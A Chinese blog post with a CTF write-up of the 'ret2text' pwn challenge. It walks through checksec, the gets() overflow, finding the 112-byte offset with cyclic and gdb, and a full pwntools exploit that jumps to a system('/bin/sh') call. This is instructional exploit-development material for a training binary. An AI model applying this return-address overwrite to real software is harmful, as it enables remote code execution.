美文网首页
ret2text writeup

ret2text writeup

作者: Littleston | 来源:发表于2018-12-14 10:41 被阅读0次

first 

checksec ret2text

Stack: No canary found

NX:      NX enabled

这里Stack 保护措施,如果开启的话会在栈中的返回地址前放一个随机值,如果被覆盖,程序就会报错退出

NX是 no execution 如果开启的话就不能让IP寄存器指向堆、栈........

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked

32-bit

dynamically linked 

获得了基本的信息之后就能运行程序,分析他的功能

经过检测,程序就一个输入点,我们用ida检查程序

int __cdecl main(int argc, const char **argv, const char **envp)

{

  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);

  setvbuf(_bss_start, 0, 1, 0);

  puts("There is something amazing here, do you know anything?");

  gets((char *)&v4);

  printf("Maybe I will tell you next time !");

  return 0;

}

可以很清楚的看到,gets函数读取无限制的用户输入到栈上,很显然,就可以覆盖到返回地址,

那我们首先就来做这一步,控制IP寄存器

我们这里知道了gets函数读取无限制的用户输入到栈上,首先要确认输入到多少位可以覆盖到返回地址

这里用cyclic,

cyclic -h 

cyclic 200

cyclic会生成一段字

gdb ./ret2text(用加载出来的peda 模块来继续)

gdb-peda$ run

(此处将cyclic 生成的字符,填写进去)

Starting program: /home/root123/下载/pwn /ret2text There is something amazing here, do you know anything?aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabMaybe I will tell you next time !Program received signal SIGSEGV, Segmentation fault

Invalid $PC address: 0x62616164

找到报错点

cyclic -l 0x62616164

112

下面就开始写exp

from pwn import *

p = process('./ret2text')

p.sendline('a'*112 + xxxX)                //这里很显然。xxxx就可以控制返回地址了,那我们让程序跳到哪里去执行呢?

我们可以检查程序有些什么功能

objdump -R re2text

stone@stone-virtual-machine:~$ objdump -R ret2text ret2text:

文件格式 elf32-i386 

DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__ 0804a040 R_386_COPY stdin@@GLIBC_2.0 0804a060 R_386_COPY stdout@@GLIBC_2.0 0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0 0804a010 R_386_JUMP_SLOT gets@GLIBC_2.0 0804a014 R_386_JUMP_SLOT time@GLIBC_2.0 0804a018 R_386_JUMP_SLOT puts@GLIBC_2.0 0804a01c R_386_JUMP_SLOT system@GLIBC_2.0 0804a020 R_386_JUMP_SLOT __gmon_start__ 0804a024 R_386_JUMP_SLOT srand@GLIBC_2.0 0804a028 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a02c R_386_JUMP_SLOT setvbuf@GLIBC_2.0 0804a030 R_386_JUMP_SLOT rand@GLIBC_2.0 0804a034 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7

可以看到这里提供了system 函数,我们检查他在什么地方使用的(在ida 中查看)

int system(const char *command)

{

  return system(command);

}

-------------------------------------------------------------------------------------

text:08048632 mov eax, [ebp+input]

.text:08048635                cmp    eax, [ebp+secretcode]

.text:08048638                jnz    short locret_8048646

.text:0804863A                mov    dword ptr [esp], offset command ; "/bin/sh"

.text:08048641                call    _system

.text:08048646

.text:08048646 locret_8048646:                        ; CODE XREF: secure+3Bj

.text:08048646                leave

.text:08048647                retn

.text:08048647 secure          endp

可以看出在0804863A 提供了shell的功能只要跳转到这里即可获得shell

那我们用这个地址覆盖栈到返回地址

完整的EXP

rom pwn import*

p = process('./ret2text')

p.sendline('a'*112+p32(0x0804863A))

p.interactive() 

相关文章

  • ret2text writeup

    first checksec ret2text Stack: No canary found NX: ...

  • 第一届安洵杯writeup

    安洵官方writeup安洵writeup第一届安洵杯writeup MISC 幺元 booom 爆破 查看pass...

  • HCTF两道web题目

    HCTF WEB wp 官方Writeup: [https://bysec.io/hctf/writeup.htm...

  • 总结

    栈溢出技巧 ROP 基本ROP ret2text ret2shellcode ret2syscall 32位 调用...

  • ret2text

    首先检查文件开了哪些保护 如图,可以看出文件开启了NX,即堆栈不可执行。这样就不能把控制IP指向shellcode...

  • Behavioral Cloning

    Behavioral Cloning Writeup Template You can use this file...

  • Jarvis OJ PWN level6 WriteUp

    终于做完了自己在pwn方向的第一道堆题,参考了writeup1和writeup2怼了四天,终于理解了整道题目,本地...

  • writeup

    Web 签到题: 点开题目地址,网页上只有一行字,查看网页源码,得到flag 签到题2: 口令为11个字符,而输入...

  • writeup

    南京邮电大学网络攻防训练平台 web writeup 签到题: 查看源代码 就可以看到 flag:nctf{fla...

  • WriteUp

    Crypto base64? 第一眼看题目提示base64,马上就进行一波解码 一眼看过去,感觉是16进制,再转一...

网友评论

      本文标题:ret2text writeup

      本文链接:https://www.haomeiwen.com/subject/jjpwhqtx.html